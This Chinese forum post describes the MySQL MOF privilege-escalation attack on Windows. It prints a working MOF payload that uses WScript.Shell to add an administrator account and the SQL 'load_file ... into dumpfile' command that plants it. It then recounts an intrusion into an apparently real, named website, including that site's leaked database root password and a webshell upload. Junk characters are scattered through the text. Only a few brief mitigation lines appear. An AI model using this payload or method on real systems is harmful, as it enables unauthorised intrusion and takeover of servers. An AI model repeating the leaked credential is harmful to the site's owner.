找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2664|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
! S; |" \, R! ]. J) Q$ G7 a( @5 z' |8 c! ?+ {9 K
网上公开的一些利用代码:
3 |9 g8 \. f: D
) q* v" Z8 U  C9 E: s7 s% Q6 r#pragma namespace(“\\\\.\\root\\subscription”)( t# B9 l1 S% E" u( ^" o+ G
1 T  j/ O/ b3 b! P5 f
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };2 g# D5 z' ]# R! ~: Q7 S+ j

+ E& g+ s6 k1 s! F
. P. t7 I! _" @! Q, x" t! k$ ~' J/ N" _3 p9 l( e. U
0 ~6 I! x. j# s7 s& w/ F

7 n) ?5 ?( J  C. p$ @. K5 J连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;& t7 o, K$ p" i# B
从上面代码来看得出解决办法:, i+ A, `" O' C" G9 w0 z$ @
4 y: M& N- A" _# }0 [) q
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
5 I# g& l5 Q! R& o& P$ M4 C% l
- [* W9 k3 W9 A8 X2、禁止使用”WScript.Shel”组件' I, N$ r* E) i* F9 G+ x
, i8 e1 W# u/ x$ w, A
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
5 {  ^* {3 V& x; Z& |# j/ o  g( `$ \( j- g8 N% X/ z$ Q
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
& `* v) V* c$ P1 r, L1 u1 r# x6 o1 n/ G3 o! K* K  X& D" C
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权! j% u9 P  `, N3 S4 E
( P3 Q8 X2 z; b
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
* e' a1 x3 o7 u( W9 `% _1 H7 I5 _1 C) R. @0 M
看懂了后就开始练手吧
7 l% c- P4 n# A6 p
7 M  I7 q5 W! _; f+ {, w$ f0 `http://www.webbmw.com/config/config_ucenter.php 一句话 a
6 L1 O" j, _0 |: F+ X
( S) P' F, }: P* w6 I- ^$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
( S1 n. E2 a, @3 }3 d) h4 I) W- ~$ [" T
于是直接用菜刀开搞3 Z) d# p! B% m8 s9 i- i

; ~' c: `5 e8 i: Y# {上马先
. M% V4 j: t' I: s! s1 y6 B  W9 p+ a6 W& u
既然有了那些账号 之类的 于是我们就执行吧…….2 o7 e/ V* S( `5 d- x
8 H6 `# j6 E& q3 U. w# D7 {
小小的说下
/ S. x/ o# F( f7 U% c) Z4 }( `+ M/ ]2 ~1 S' r
在这里第1次执行未成功        原因未知
' s) g* K5 `' F# P2 B  O
% [, _+ d1 O8 V6 E1 I我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。. z7 X, \" Z# Y" S; {- ~+ v

  k2 r/ A6 I6 I1 x/ G1 I#pragma namespace(“\\\\.\\root\\subscription”)
  R9 M2 e& F" Z! C  Y2 }3 s% r9 K; W/ y3 r- T1 h; X+ i7 L
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };% @* f" m- @* I
/ A5 j1 s" L( D
我是将文件放到C:\WINDOWS\temp\1.mof
4 M6 G9 J4 ?7 M3 T6 _; I
  O7 A' l3 @# D+ [$ c所以我们就改下执行的代码
. s9 d. ~9 Z& v3 n, q/ d4 L$ p! ^8 C& A8 R& \% f% O
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;+ N) \& m5 \4 J5 A! N
8 C" q/ G% \6 o/ a+ [& T

/ r1 T! s% P- C$ l6 U! V
' V+ K& _! G* x0 U但是 你会发现账号还是没有躺在那里。。
$ E, L8 _4 A; @* X
5 E0 j2 ], I3 o+ u0 U* c  e1 C1 t于是我就感觉蛋疼
6 i+ Z. M1 q+ P6 Z% w: R1 Q9 _) h& ^- X$ U
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
+ Q- a0 {( y- [0 ]( X8 m& X' q
2 d+ B1 l' q) o% k( p; {! ^# A9 L% n

; r, N7 A$ B3 w& z" S: F7 h; e但是其他库均不成功…6 ~" y6 y' L3 W! s

6 K* d: Q, c$ h5 Y8 G! R4 M2 @我就很费解呀 到底为什么不成功求大牛解答…# G; b3 F7 e/ N

  k  f5 A7 H' X0 F: l​0 `4 f! q" K7 |# L" f7 f

6 S7 V# w% W, _: _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表